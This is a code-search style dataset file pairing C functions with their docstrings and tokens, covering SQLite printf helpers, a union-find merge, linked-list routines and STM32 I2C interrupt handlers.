1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3_vmprintf
char
char *sqlite3_vmprintf(const char *zFormat, va_list ap){ char *z; char zBase[SQLITE_PRINT_BUF_SIZE]; StrAccum acc; #ifdef SQLITE_ENABLE_API_ARMOR if( zFormat==0 ){ (void)SQLITE_MISUSE_BKPT; return 0; } #endif #ifndef SQLITE_OMIT_AUTOINIT if( sqlite3_initialize() ) return 0; #endif sqlite3StrAccumInit(&acc, 0, zBase, sizeof(zBase), SQLITE_MAX_LENGTH); sqlite3VXPrintf(&acc, 0, zFormat, ap); z = sqlite3StrAccumFinish(&acc); return z; }
/* ** Print into memory obtained from sqlite3_malloc(). Omit the internal ** %-conversion extensions. */
Print into memory obtained from sqlite3_malloc(). Omit the internal %-conversion extensions.
[ "Print", "into", "memory", "obtained", "from", "sqlite3_malloc", "()", ".", "Omit", "the", "internal", "%", "-", "conversion", "extensions", "." ]
char *sqlite3_vmprintf(const char *zFormat, va_list ap){ char *z; char zBase[SQLITE_PRINT_BUF_SIZE]; StrAccum acc; #ifdef SQLITE_ENABLE_API_ARMOR if( zFormat==0 ){ (void)SQLITE_MISUSE_BKPT; return 0; } #endif #ifndef SQLITE_OMIT_AUTOINIT if( sqlite3_initialize() ) return 0; #endif sqlite3StrAccumInit(&acc, 0, zBase, sizeof(zBase), SQLITE_MAX_LENGTH); sqlite3VXPrintf(&acc, 0, zFormat, ap); z = sqlite3StrAccumFinish(&acc); return z; }
[ "char", "*", "sqlite3_vmprintf", "(", "const", "char", "*", "zFormat", ",", "va_list", "ap", ")", "{", "char", "*", "z", ";", "char", "zBase", "[", "SQLITE_PRINT_BUF_SIZE", "]", ";", "StrAccum", "acc", ";", "#ifdef", "SQLITE_ENABLE_API_ARMOR", "if", "(", "zFormat", "==", "0", ")", "{", "(", "void", ")", "SQLITE_MISUSE_BKPT", ";", "return", "0", ";", "}", "#endif", "#ifndef", "SQLITE_OMIT_AUTOINIT", "if", "(", "sqlite3_initialize", "(", ")", ")", "return", "0", ";", "#endif", "sqlite3StrAccumInit", "(", "&", "acc", ",", "0", ",", "zBase", ",", "sizeof", "(", "zBase", ")", ",", "SQLITE_MAX_LENGTH", ")", ";", "sqlite3VXPrintf", "(", "&", "acc", ",", "0", ",", "zFormat", ",", "ap", ")", ";", "z", "=", "sqlite3StrAccumFinish", "(", "&", "acc", ")", ";", "return", "z", ";", "}" ]
Print into memory obtained from sqlite3_malloc().
[ "Print", "into", "memory", "obtained", "from", "sqlite3_malloc", "()", "." ]
[]
[ { "param": "zFormat", "type": "char" }, { "param": "ap", "type": "va_list" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ap", "type": "va_list", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3_vsnprintf
char
char *sqlite3_vsnprintf(int n, char *zBuf, const char *zFormat, va_list ap){ StrAccum acc; if( n<=0 ) return zBuf; #ifdef SQLITE_ENABLE_API_ARMOR if( zBuf==0 || zFormat==0 ) { (void)SQLITE_MISUSE_BKPT; if( zBuf ) zBuf[0] = 0; return zBuf; } #endif sqlite3StrAccumInit(&acc, 0, zBuf, n, 0); sqlite3VXPrintf(&acc, 0, zFormat, ap); return sqlite3StrAccumFinish(&acc); }
/* ** sqlite3_snprintf() works like snprintf() except that it ignores the ** current locale settings. This is important for SQLite because we ** are not able to use a "," as the decimal point in place of "." as ** specified by some locales. ** ** Oops: The first two arguments of sqlite3_snprintf() are backwards ** from the snprintf() standard. Unfortunately, it is too late to change ** this without breaking compatibility, so we just have to live with the ** mistake. ** ** sqlite3_vsnprintf() is the varargs version. */
sqlite3_snprintf() works like snprintf() except that it ignores the current locale settings. This is important for SQLite because we are not able to use a "," as the decimal point in place of "." as specified by some locales. The first two arguments of sqlite3_snprintf() are backwards from the snprintf() standard. Unfortunately, it is too late to change this without breaking compatibility, so we just have to live with the mistake. sqlite3_vsnprintf() is the varargs version.
[ "sqlite3_snprintf", "()", "works", "like", "snprintf", "()", "except", "that", "it", "ignores", "the", "current", "locale", "settings", ".", "This", "is", "important", "for", "SQLite", "because", "we", "are", "not", "able", "to", "use", "a", "\"", "\"", "as", "the", "decimal", "point", "in", "place", "of", "\"", ".", "\"", "as", "specified", "by", "some", "locales", ".", "The", "first", "two", "arguments", "of", "sqlite3_snprintf", "()", "are", "backwards", "from", "the", "snprintf", "()", "standard", ".", "Unfortunately", "it", "is", "too", "late", "to", "change", "this", "without", "breaking", "compatibility", "so", "we", "just", "have", "to", "live", "with", "the", "mistake", ".", "sqlite3_vsnprintf", "()", "is", "the", "varargs", "version", "." ]
char *sqlite3_vsnprintf(int n, char *zBuf, const char *zFormat, va_list ap){ StrAccum acc; if( n<=0 ) return zBuf; #ifdef SQLITE_ENABLE_API_ARMOR if( zBuf==0 || zFormat==0 ) { (void)SQLITE_MISUSE_BKPT; if( zBuf ) zBuf[0] = 0; return zBuf; } #endif sqlite3StrAccumInit(&acc, 0, zBuf, n, 0); sqlite3VXPrintf(&acc, 0, zFormat, ap); return sqlite3StrAccumFinish(&acc); }
[ "char", "*", "sqlite3_vsnprintf", "(", "int", "n", ",", "char", "*", "zBuf", ",", "const", "char", "*", "zFormat", ",", "va_list", "ap", ")", "{", "StrAccum", "acc", ";", "if", "(", "n", "<=", "0", ")", "return", "zBuf", ";", "#ifdef", "SQLITE_ENABLE_API_ARMOR", "if", "(", "zBuf", "==", "0", "||", "zFormat", "==", "0", ")", "{", "(", "void", ")", "SQLITE_MISUSE_BKPT", ";", "if", "(", "zBuf", ")", "zBuf", "[", "0", "]", "=", "0", ";", "return", "zBuf", ";", "}", "#endif", "sqlite3StrAccumInit", "(", "&", "acc", ",", "0", ",", "zBuf", ",", "n", ",", "0", ")", ";", "sqlite3VXPrintf", "(", "&", "acc", ",", "0", ",", "zFormat", ",", "ap", ")", ";", "return", "sqlite3StrAccumFinish", "(", "&", "acc", ")", ";", "}" ]
sqlite3_snprintf() works like snprintf() except that it ignores the current locale settings.
[ "sqlite3_snprintf", "()", "works", "like", "snprintf", "()", "except", "that", "it", "ignores", "the", "current", "locale", "settings", "." ]
[]
[ { "param": "n", "type": "int" }, { "param": "zBuf", "type": "char" }, { "param": "zFormat", "type": "char" }, { "param": "ap", "type": "va_list" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "n", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zBuf", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ap", "type": "va_list", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
renderLogMsg
void
static void renderLogMsg(int iErrCode, const char *zFormat, va_list ap){ StrAccum acc; /* String accumulator */ char zMsg[SQLITE_PRINT_BUF_SIZE*3]; /* Complete log message */ sqlite3StrAccumInit(&acc, 0, zMsg, sizeof(zMsg), 0); sqlite3VXPrintf(&acc, 0, zFormat, ap); sqlite3GlobalConfig.xLog(sqlite3GlobalConfig.pLogArg, iErrCode, sqlite3StrAccumFinish(&acc)); }
/* ** This is the routine that actually formats the sqlite3_log() message. ** We house it in a separate routine from sqlite3_log() to avoid using ** stack space on small-stack systems when logging is disabled. ** ** sqlite3_log() must render into a static buffer. It cannot dynamically ** allocate memory because it might be called while the memory allocator ** mutex is held. */
This is the routine that actually formats the sqlite3_log() message. We house it in a separate routine from sqlite3_log() to avoid using stack space on small-stack systems when logging is disabled. sqlite3_log() must render into a static buffer. It cannot dynamically allocate memory because it might be called while the memory allocator mutex is held.
[ "This", "is", "the", "routine", "that", "actually", "formats", "the", "sqlite3_log", "()", "message", ".", "We", "house", "it", "in", "a", "separate", "routine", "from", "sqlite3_log", "()", "to", "avoid", "using", "stack", "space", "on", "small", "-", "stack", "systems", "when", "logging", "is", "disabled", ".", "sqlite3_log", "()", "must", "render", "into", "a", "static", "buffer", ".", "It", "cannot", "dynamically", "allocate", "memory", "because", "it", "might", "be", "called", "while", "the", "memory", "allocator", "mutex", "is", "held", "." ]
static void renderLogMsg(int iErrCode, const char *zFormat, va_list ap){ StrAccum acc; char zMsg[SQLITE_PRINT_BUF_SIZE*3]; sqlite3StrAccumInit(&acc, 0, zMsg, sizeof(zMsg), 0); sqlite3VXPrintf(&acc, 0, zFormat, ap); sqlite3GlobalConfig.xLog(sqlite3GlobalConfig.pLogArg, iErrCode, sqlite3StrAccumFinish(&acc)); }
[ "static", "void", "renderLogMsg", "(", "int", "iErrCode", ",", "const", "char", "*", "zFormat", ",", "va_list", "ap", ")", "{", "StrAccum", "acc", ";", "char", "zMsg", "[", "SQLITE_PRINT_BUF_SIZE", "*", "3", "]", ";", "sqlite3StrAccumInit", "(", "&", "acc", ",", "0", ",", "zMsg", ",", "sizeof", "(", "zMsg", ")", ",", "0", ")", ";", "sqlite3VXPrintf", "(", "&", "acc", ",", "0", ",", "zFormat", ",", "ap", ")", ";", "sqlite3GlobalConfig", ".", "xLog", "(", "sqlite3GlobalConfig", ".", "pLogArg", ",", "iErrCode", ",", "sqlite3StrAccumFinish", "(", "&", "acc", ")", ")", ";", "}" ]
This is the routine that actually formats the sqlite3_log() message.
[ "This", "is", "the", "routine", "that", "actually", "formats", "the", "sqlite3_log", "()", "message", "." ]
[ "/* String accumulator */", "/* Complete log message */" ]
[ { "param": "iErrCode", "type": "int" }, { "param": "zFormat", "type": "char" }, { "param": "ap", "type": "va_list" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "iErrCode", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ap", "type": "va_list", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3DebugPrintf
void
void sqlite3DebugPrintf(const char *zFormat, ...){ va_list ap; StrAccum acc; char zBuf[500]; sqlite3StrAccumInit(&acc, 0, zBuf, sizeof(zBuf), 0); va_start(ap,zFormat); sqlite3VXPrintf(&acc, 0, zFormat, ap); va_end(ap); sqlite3StrAccumFinish(&acc); fprintf(stdout,"%s", zBuf); fflush(stdout); }
/* ** A version of printf() that understands %lld. Used for debugging. ** The printf() built into some versions of windows does not understand %lld ** and segfaults if you give it a long long int. */
A version of printf() that understands %lld. Used for debugging. The printf() built into some versions of windows does not understand %lld and segfaults if you give it a long long int.
[ "A", "version", "of", "printf", "()", "that", "understands", "%lld", ".", "Used", "for", "debugging", ".", "The", "printf", "()", "built", "into", "some", "versions", "of", "windows", "does", "not", "understand", "%lld", "and", "segfaults", "if", "you", "give", "it", "a", "long", "long", "int", "." ]
void sqlite3DebugPrintf(const char *zFormat, ...){ va_list ap; StrAccum acc; char zBuf[500]; sqlite3StrAccumInit(&acc, 0, zBuf, sizeof(zBuf), 0); va_start(ap,zFormat); sqlite3VXPrintf(&acc, 0, zFormat, ap); va_end(ap); sqlite3StrAccumFinish(&acc); fprintf(stdout,"%s", zBuf); fflush(stdout); }
[ "void", "sqlite3DebugPrintf", "(", "const", "char", "*", "zFormat", ",", "...", ")", "{", "va_list", "ap", ";", "StrAccum", "acc", ";", "char", "zBuf", "[", "500", "]", ";", "sqlite3StrAccumInit", "(", "&", "acc", ",", "0", ",", "zBuf", ",", "sizeof", "(", "zBuf", ")", ",", "0", ")", ";", "va_start", "(", "ap", ",", "zFormat", ")", ";", "sqlite3VXPrintf", "(", "&", "acc", ",", "0", ",", "zFormat", ",", "ap", ")", ";", "va_end", "(", "ap", ")", ";", "sqlite3StrAccumFinish", "(", "&", "acc", ")", ";", "fprintf", "(", "stdout", ",", "\"", "\"", ",", "zBuf", ")", ";", "fflush", "(", "stdout", ")", ";", "}" ]
A version of printf() that understands %lld.
[ "A", "version", "of", "printf", "()", "that", "understands", "%lld", "." ]
[]
[ { "param": "zFormat", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3TreeViewPush
TreeView
TreeView *sqlite3TreeViewPush(TreeView *p, u8 moreToFollow){ if( p==0 ){ p = sqlite3_malloc64( sizeof(*p) ); if( p==0 ) return 0; memset(p, 0, sizeof(*p)); }else{ p->iLevel++; } assert( moreToFollow==0 || moreToFollow==1 ); if( p->iLevel<sizeof(p->bLine) ) p->bLine[p->iLevel] = moreToFollow; return p; }
/* Add a new subitem to the tree. The moreToFollow flag indicates that this ** is not the last item in the tree. */
Add a new subitem to the tree. The moreToFollow flag indicates that this is not the last item in the tree.
[ "Add", "a", "new", "subitem", "to", "the", "tree", ".", "The", "moreToFollow", "flag", "indicates", "that", "this", "is", "not", "the", "last", "item", "in", "the", "tree", "." ]
TreeView *sqlite3TreeViewPush(TreeView *p, u8 moreToFollow){ if( p==0 ){ p = sqlite3_malloc64( sizeof(*p) ); if( p==0 ) return 0; memset(p, 0, sizeof(*p)); }else{ p->iLevel++; } assert( moreToFollow==0 || moreToFollow==1 ); if( p->iLevel<sizeof(p->bLine) ) p->bLine[p->iLevel] = moreToFollow; return p; }
[ "TreeView", "*", "sqlite3TreeViewPush", "(", "TreeView", "*", "p", ",", "u8", "moreToFollow", ")", "{", "if", "(", "p", "==", "0", ")", "{", "p", "=", "sqlite3_malloc64", "(", "sizeof", "(", "*", "p", ")", ")", ";", "if", "(", "p", "==", "0", ")", "return", "0", ";", "memset", "(", "p", ",", "0", ",", "sizeof", "(", "*", "p", ")", ")", ";", "}", "else", "{", "p", "->", "iLevel", "++", ";", "}", "assert", "(", "moreToFollow", "==", "0", "||", "moreToFollow", "==", "1", ")", ";", "if", "(", "p", "->", "iLevel", "<", "sizeof", "(", "p", "->", "bLine", ")", ")", "p", "->", "bLine", "[", "p", "->", "iLevel", "]", "=", "moreToFollow", ";", "return", "p", ";", "}" ]
Add a new subitem to the tree.
[ "Add", "a", "new", "subitem", "to", "the", "tree", "." ]
[]
[ { "param": "p", "type": "TreeView" }, { "param": "moreToFollow", "type": "u8" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "TreeView", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "moreToFollow", "type": "u8", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3TreeViewPop
void
void sqlite3TreeViewPop(TreeView *p){ if( p==0 ) return; p->iLevel--; if( p->iLevel<0 ) sqlite3_free(p); }
/* Finished with one layer of the tree */
Finished with one layer of the tree
[ "Finished", "with", "one", "layer", "of", "the", "tree" ]
void sqlite3TreeViewPop(TreeView *p){ if( p==0 ) return; p->iLevel--; if( p->iLevel<0 ) sqlite3_free(p); }
[ "void", "sqlite3TreeViewPop", "(", "TreeView", "*", "p", ")", "{", "if", "(", "p", "==", "0", ")", "return", ";", "p", "->", "iLevel", "--", ";", "if", "(", "p", "->", "iLevel", "<", "0", ")", "sqlite3_free", "(", "p", ")", ";", "}" ]
Finished with one layer of the tree
[ "Finished", "with", "one", "layer", "of", "the", "tree" ]
[]
[ { "param": "p", "type": "TreeView" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "TreeView", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3TreeViewLine
void
void sqlite3TreeViewLine(TreeView *p, const char *zFormat, ...){ va_list ap; int i; StrAccum acc; char zBuf[500]; sqlite3StrAccumInit(&acc, 0, zBuf, sizeof(zBuf), 0); if( p ){ for(i=0; i<p->iLevel && i<sizeof(p->bLine)-1; i++){ sqlite3StrAccumAppend(&acc, p->bLine[i] ? "| " : " ", 4); } sqlite3StrAccumAppend(&acc, p->bLine[i] ? "|-- " : "'-- ", 4); } va_start(ap, zFormat); sqlite3VXPrintf(&acc, 0, zFormat, ap); va_end(ap); if( zBuf[acc.nChar-1]!='\n' ) sqlite3StrAccumAppend(&acc, "\n", 1); sqlite3StrAccumFinish(&acc); fprintf(stdout,"%s", zBuf); fflush(stdout); }
/* Generate a single line of output for the tree, with a prefix that contains ** all the appropriate tree lines */
Generate a single line of output for the tree, with a prefix that contains all the appropriate tree lines
[ "Generate", "a", "single", "line", "of", "output", "for", "the", "tree", "with", "a", "prefix", "that", "contains", "all", "the", "appropriate", "tree", "lines" ]
void sqlite3TreeViewLine(TreeView *p, const char *zFormat, ...){ va_list ap; int i; StrAccum acc; char zBuf[500]; sqlite3StrAccumInit(&acc, 0, zBuf, sizeof(zBuf), 0); if( p ){ for(i=0; i<p->iLevel && i<sizeof(p->bLine)-1; i++){ sqlite3StrAccumAppend(&acc, p->bLine[i] ? "| " : " ", 4); } sqlite3StrAccumAppend(&acc, p->bLine[i] ? "|-- " : "'-- ", 4); } va_start(ap, zFormat); sqlite3VXPrintf(&acc, 0, zFormat, ap); va_end(ap); if( zBuf[acc.nChar-1]!='\n' ) sqlite3StrAccumAppend(&acc, "\n", 1); sqlite3StrAccumFinish(&acc); fprintf(stdout,"%s", zBuf); fflush(stdout); }
[ "void", "sqlite3TreeViewLine", "(", "TreeView", "*", "p", ",", "const", "char", "*", "zFormat", ",", "...", ")", "{", "va_list", "ap", ";", "int", "i", ";", "StrAccum", "acc", ";", "char", "zBuf", "[", "500", "]", ";", "sqlite3StrAccumInit", "(", "&", "acc", ",", "0", ",", "zBuf", ",", "sizeof", "(", "zBuf", ")", ",", "0", ")", ";", "if", "(", "p", ")", "{", "for", "(", "i", "=", "0", ";", "i", "<", "p", "->", "iLevel", "&&", "i", "<", "sizeof", "(", "p", "->", "bLine", ")", "-", "1", ";", "i", "++", ")", "{", "sqlite3StrAccumAppend", "(", "&", "acc", ",", "p", "->", "bLine", "[", "i", "]", "?", "\"", "\"", ":", "\"", "\"", ",", "4", ")", ";", "}", "sqlite3StrAccumAppend", "(", "&", "acc", ",", "p", "->", "bLine", "[", "i", "]", "?", "\"", "\"", ":", "\"", "\"", ",", "4", ")", ";", "}", "va_start", "(", "ap", ",", "zFormat", ")", ";", "sqlite3VXPrintf", "(", "&", "acc", ",", "0", ",", "zFormat", ",", "ap", ")", ";", "va_end", "(", "ap", ")", ";", "if", "(", "zBuf", "[", "acc", ".", "nChar", "-", "1", "]", "!=", "'", "\\n", "'", ")", "sqlite3StrAccumAppend", "(", "&", "acc", ",", "\"", "\\n", "\"", ",", "1", ")", ";", "sqlite3StrAccumFinish", "(", "&", "acc", ")", ";", "fprintf", "(", "stdout", ",", "\"", "\"", ",", "zBuf", ")", ";", "fflush", "(", "stdout", ")", ";", "}" ]
Generate a single line of output for the tree, with a prefix that contains all the appropriate tree lines
[ "Generate", "a", "single", "line", "of", "output", "for", "the", "tree", "with", "a", "prefix", "that", "contains", "all", "the", "appropriate", "tree", "lines" ]
[]
[ { "param": "p", "type": "TreeView" }, { "param": "zFormat", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "TreeView", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
1d50d7790bd3dcc97bd0cb95f121bf3d2c382d34
buribu/sources
sqlite3src/printf.c
[ "Artistic-2.0" ]
C
sqlite3XPrintf
void
void sqlite3XPrintf(StrAccum *p, u32 bFlags, const char *zFormat, ...){ va_list ap; va_start(ap,zFormat); sqlite3VXPrintf(p, bFlags, zFormat, ap); va_end(ap); }
/* ** variable-argument wrapper around sqlite3VXPrintf(). */
variable-argument wrapper around sqlite3VXPrintf().
[ "variable", "-", "argument", "wrapper", "around", "sqlite3VXPrintf", "()", "." ]
void sqlite3XPrintf(StrAccum *p, u32 bFlags, const char *zFormat, ...){ va_list ap; va_start(ap,zFormat); sqlite3VXPrintf(p, bFlags, zFormat, ap); va_end(ap); }
[ "void", "sqlite3XPrintf", "(", "StrAccum", "*", "p", ",", "u32", "bFlags", ",", "const", "char", "*", "zFormat", ",", "...", ")", "{", "va_list", "ap", ";", "va_start", "(", "ap", ",", "zFormat", ")", ";", "sqlite3VXPrintf", "(", "p", ",", "bFlags", ",", "zFormat", ",", "ap", ")", ";", "va_end", "(", "ap", ")", ";", "}" ]
variable-argument wrapper around sqlite3VXPrintf().
[ "variable", "-", "argument", "wrapper", "around", "sqlite3VXPrintf", "()", "." ]
[]
[ { "param": "p", "type": "StrAccum" }, { "param": "bFlags", "type": "u32" }, { "param": "zFormat", "type": "char" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "p", "type": "StrAccum", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "bFlags", "type": "u32", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "zFormat", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
6124ee8d416705a16802be455eadc221db277a5f
MarkGillespie/CEPS
src/Cutter.h
[ "MIT" ]
C
merge
void
void merge(size_t x, size_t y) { x = find(x); y = find(y); // smaller tree becomes a subtree of the larger tree if (rank[x] > rank[y]) parent[y] = x; else parent[x] = y; if (rank[x] == rank[y]) rank[y]++; // if either set was marked, both are marked if (marked[x] || marked[y]) { marked[x] = true; marked[y] = true; } }
// union by rank // if either set is marked, then the result is marked
union by rank if either set is marked, then the result is marked
[ "union", "by", "rank", "if", "either", "set", "is", "marked", "then", "the", "result", "is", "marked" ]
void merge(size_t x, size_t y) { x = find(x); y = find(y); if (rank[x] > rank[y]) parent[y] = x; else parent[x] = y; if (rank[x] == rank[y]) rank[y]++; if (marked[x] || marked[y]) { marked[x] = true; marked[y] = true; } }
[ "void", "merge", "(", "size_t", "x", ",", "size_t", "y", ")", "{", "x", "=", "find", "(", "x", ")", ";", "y", "=", "find", "(", "y", ")", ";", "if", "(", "rank", "[", "x", "]", ">", "rank", "[", "y", "]", ")", "parent", "[", "y", "]", "=", "x", ";", "else", "parent", "[", "x", "]", "=", "y", ";", "if", "(", "rank", "[", "x", "]", "==", "rank", "[", "y", "]", ")", "rank", "[", "y", "]", "++", ";", "if", "(", "marked", "[", "x", "]", "||", "marked", "[", "y", "]", ")", "{", "marked", "[", "x", "]", "=", "true", ";", "marked", "[", "y", "]", "=", "true", ";", "}", "}" ]
union by rank if either set is marked, then the result is marked
[ "union", "by", "rank", "if", "either", "set", "is", "marked", "then", "the", "result", "is", "marked" ]
[ "// smaller tree becomes a subtree of the larger tree", "// if either set was marked, both are marked" ]
[ { "param": "x", "type": "size_t" }, { "param": "y", "type": "size_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "x", "type": "size_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "y", "type": "size_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
76e643582de38dd5ce6eabece5f44ad9819da33e
raypan7/mergesort-concurrent
list.c
[ "BSD-2-Clause" ]
C
list_add
int
int list_add(llist_t *list, val_t val) { node_t *e = node_new(val, NULL); e->next = list->head; list->head = e; list->size++; return 0; }
/* * list_add inserts a new node with the given value val in the list * (if the value was absent) or does nothing (if the value is already present). */
list_add inserts a new node with the given value val in the list (if the value was absent) or does nothing (if the value is already present).
[ "list_add", "inserts", "a", "new", "node", "with", "the", "given", "value", "val", "in", "the", "list", "(", "if", "the", "value", "was", "absent", ")", "or", "does", "nothing", "(", "if", "the", "value", "is", "already", "present", ")", "." ]
int list_add(llist_t *list, val_t val) { node_t *e = node_new(val, NULL); e->next = list->head; list->head = e; list->size++; return 0; }
[ "int", "list_add", "(", "llist_t", "*", "list", ",", "val_t", "val", ")", "{", "node_t", "*", "e", "=", "node_new", "(", "val", ",", "NULL", ")", ";", "e", "->", "next", "=", "list", "->", "head", ";", "list", "->", "head", "=", "e", ";", "list", "->", "size", "++", ";", "return", "0", ";", "}" ]
list_add inserts a new node with the given value val in the list (if the value was absent) or does nothing (if the value is already present).
[ "list_add", "inserts", "a", "new", "node", "with", "the", "given", "value", "val", "in", "the", "list", "(", "if", "the", "value", "was", "absent", ")", "or", "does", "nothing", "(", "if", "the", "value", "is", "already", "present", ")", "." ]
[]
[ { "param": "list", "type": "llist_t" }, { "param": "val", "type": "val_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "list", "type": "llist_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "val", "type": "val_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
76e643582de38dd5ce6eabece5f44ad9819da33e
raypan7/mergesort-concurrent
list.c
[ "BSD-2-Clause" ]
C
list_nth
node_t
node_t *list_nth(llist_t *list, uint32_t idx) { if (idx > list->size) return NULL; node_t *head = list->head; while (idx--) head = head->next; return head; }
/* * get the node specify by index * if the index is out of range, it will return NULL */
get the node specify by index if the index is out of range, it will return NULL
[ "get", "the", "node", "specify", "by", "index", "if", "the", "index", "is", "out", "of", "range", "it", "will", "return", "NULL" ]
node_t *list_nth(llist_t *list, uint32_t idx) { if (idx > list->size) return NULL; node_t *head = list->head; while (idx--) head = head->next; return head; }
[ "node_t", "*", "list_nth", "(", "llist_t", "*", "list", ",", "uint32_t", "idx", ")", "{", "if", "(", "idx", ">", "list", "->", "size", ")", "return", "NULL", ";", "node_t", "*", "head", "=", "list", "->", "head", ";", "while", "(", "idx", "--", ")", "head", "=", "head", "->", "next", ";", "return", "head", ";", "}" ]
get the node specify by index if the index is out of range, it will return NULL
[ "get", "the", "node", "specify", "by", "index", "if", "the", "index", "is", "out", "of", "range", "it", "will", "return", "NULL" ]
[]
[ { "param": "list", "type": "llist_t" }, { "param": "idx", "type": "uint32_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "list", "type": "llist_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "idx", "type": "uint32_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
49edabbbf49decfebbcc0d81e838852ed638741c
yuqlid/MeasureBoard_fw
Src/stm32f3xx_it.c
[ "MIT" ]
C
I2C1_EV_IRQHandler
void
void I2C1_EV_IRQHandler(void) { /* USER CODE BEGIN I2C1_EV_IRQn 0 */ /* USER CODE END I2C1_EV_IRQn 0 */ HAL_SMBUS_EV_IRQHandler(&hsmbus1); /* USER CODE BEGIN I2C1_EV_IRQn 1 */ /* USER CODE END I2C1_EV_IRQn 1 */ }
/** * @brief This function handles I2C1 event global interrupt / I2C1 wake-up interrupt through EXTI line 23. */
@brief This function handles I2C1 event global interrupt / I2C1 wake-up interrupt through EXTI line 23.
[ "@brief", "This", "function", "handles", "I2C1", "event", "global", "interrupt", "/", "I2C1", "wake", "-", "up", "interrupt", "through", "EXTI", "line", "23", "." ]
void I2C1_EV_IRQHandler(void) { HAL_SMBUS_EV_IRQHandler(&hsmbus1); }
[ "void", "I2C1_EV_IRQHandler", "(", "void", ")", "{", "HAL_SMBUS_EV_IRQHandler", "(", "&", "hsmbus1", ")", ";", "}" ]
@brief This function handles I2C1 event global interrupt / I2C1 wake-up interrupt through EXTI line 23.
[ "@brief", "This", "function", "handles", "I2C1", "event", "global", "interrupt", "/", "I2C1", "wake", "-", "up", "interrupt", "through", "EXTI", "line", "23", "." ]
[ "/* USER CODE BEGIN I2C1_EV_IRQn 0 */", "/* USER CODE END I2C1_EV_IRQn 0 */", "/* USER CODE BEGIN I2C1_EV_IRQn 1 */", "/* USER CODE END I2C1_EV_IRQn 1 */" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
49edabbbf49decfebbcc0d81e838852ed638741c
yuqlid/MeasureBoard_fw
Src/stm32f3xx_it.c
[ "MIT" ]
C
I2C1_ER_IRQHandler
void
void I2C1_ER_IRQHandler(void) { /* USER CODE BEGIN I2C1_ER_IRQn 0 */ /* USER CODE END I2C1_ER_IRQn 0 */ HAL_SMBUS_ER_IRQHandler(&hsmbus1); /* USER CODE BEGIN I2C1_ER_IRQn 1 */ /* USER CODE END I2C1_ER_IRQn 1 */ }
/** * @brief This function handles I2C1 error interrupt. */
@brief This function handles I2C1 error interrupt.
[ "@brief", "This", "function", "handles", "I2C1", "error", "interrupt", "." ]
void I2C1_ER_IRQHandler(void) { HAL_SMBUS_ER_IRQHandler(&hsmbus1); }
[ "void", "I2C1_ER_IRQHandler", "(", "void", ")", "{", "HAL_SMBUS_ER_IRQHandler", "(", "&", "hsmbus1", ")", ";", "}" ]
@brief This function handles I2C1 error interrupt.
[ "@brief", "This", "function", "handles", "I2C1", "error", "interrupt", "." ]
